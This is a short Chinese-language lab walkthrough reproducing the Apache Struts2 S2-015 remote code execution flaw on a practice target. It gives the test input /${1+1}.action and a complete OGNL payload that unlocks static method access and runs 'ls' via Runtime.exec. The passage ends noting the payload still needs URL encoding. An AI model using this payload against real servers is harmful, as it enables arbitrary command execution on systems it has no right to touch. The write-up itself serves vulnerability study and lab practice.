Apache Struts2远程代码执行漏洞(S2-015)复现
难易程度:★★
题目类型:命令执行
使用工具:FireFox浏览器
漏洞原理: 如果一个请求与任何其他定义的操作不匹配,它将被匹配,*并且所请求的操作名称将用于以操作名称加载JSP文件。并且,1作为OGNL表达式的威胁值,{ }可以在服务器端执行任意的Java代码。
1.打开靶场,测试是否存在漏洞。
输入/${1+1}.action。
发现表达式被执行,证明存在漏洞。
2.执行ls,查看文件。
输入
${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action。
发现表达式没有成功执行,证明还是要转成url编码。